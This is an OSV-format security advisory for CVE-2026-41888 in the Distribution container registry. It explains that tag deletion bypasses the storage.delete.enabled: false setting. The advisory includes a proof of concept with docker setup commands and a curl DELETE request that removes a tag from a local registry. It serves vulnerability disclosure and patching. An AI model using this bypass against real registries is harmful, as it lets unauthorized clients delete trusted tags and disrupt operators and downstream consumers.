CVE-2026-41888: Github.com/distribution/distribution/v3 Distribution's Tag Deletion Bypasses `storage.delete.enabled` Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6pjf-3r9x-m592",
  "modified" : "2026-07-21T13:45:53Z",
  "published" : "2026-05-04T20:48:57Z",
  "aliases" : [ "CVE-2026-41888" ],
  "summary" : "Distribution's tag deletion bypasses `storage.delete.enabled` configuration",
  "details" : "### Summary\n\nTag deletion via the `DELETE /v2/<name>/manifests/<tag>` endpoint bypasses the `storage.delete.enabled: false` configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion.\n\n### Details\n\nWhen `storage.delete.enabled` is configured to false, digest-based manifest deletion is correctly rejected by the guard in [registry/storage/linkedblobstore.go:212-215](https://github.com/distribution/distribution/blob/main/registry/storage/linkedblobstore.go#L213-L215). \n\nHowever, tag deletion takes a separate code path that never checks this setting:\n\nIn [`registry/handlers/manifests.go:439-453`](https://github.com/distribution/distribution/blob/main/registry/handlers/manifests.go#L439-L453), `DeleteManifest`  detects a tag reference, calls `tagService.Untag()`, returns,  never consulting `registry.deleteEnabled`.\n\nIn turn, [`tagStore.Untag()`](https://github.com/distribution/distribution/blob/main/registry/storage/tagstore.go#L111-L121) calls the storage driver directly to delete the tag path without checking whether deletes are enabled.\n\n### PoC\n\nUsing a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as `config.yaml`:\n\n```yaml\nversion: 0.1\nstorage:\n  delete:\n    enabled: false\n  filesystem:\n    rootdirectory: /var/lib/registry\nhttp:\n  addr: :5000\n```\n\nStart a local Distribution, mounting in the above configuration from the current directory:\n\n```shell\ndocker run -p 5000:5000 -v \"$(pwd)/config.yaml\":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml\n```\n\nIn a separate terminal session/tab, push `alpine:3.23` into the running instance:\n```shell\ndocker pull alpine:3.23\ndocker tag alpine:3.23 localhost:5000/alpine:3.23\ndocker push localhost:5000/alpine:3.23\n```\n\nConfirm that the tag shows up as expected:\n```shell\ncurl 'http://localhost:5000/v2/alpine/tags/list'\n{\"name\":\"alpine\",\"tags\":[\"3.23\"]}\n```\n\nIssue a delete for the `3.23` tag:\n```shell\ncurl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23'\n```\n\nObserve that the tag is now gone, despite deletes being disabled:\n```shell\ncurl 'http://localhost:5000/v2/alpine/tags/list'\n{\"name\":\"alpine\",\"tags\":null}\n```\n\n### Impact\n\nThis is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/distribution/distribution/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/distribution/distribution"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.8.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/distribution/distribution/security/advisories/GHSA-6pjf-3r9x-m592"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41888"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/distribution/distribution"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T20:48:57Z",
    "nvd_published_at" : "2026-05-14T18:16:47Z"
  }
}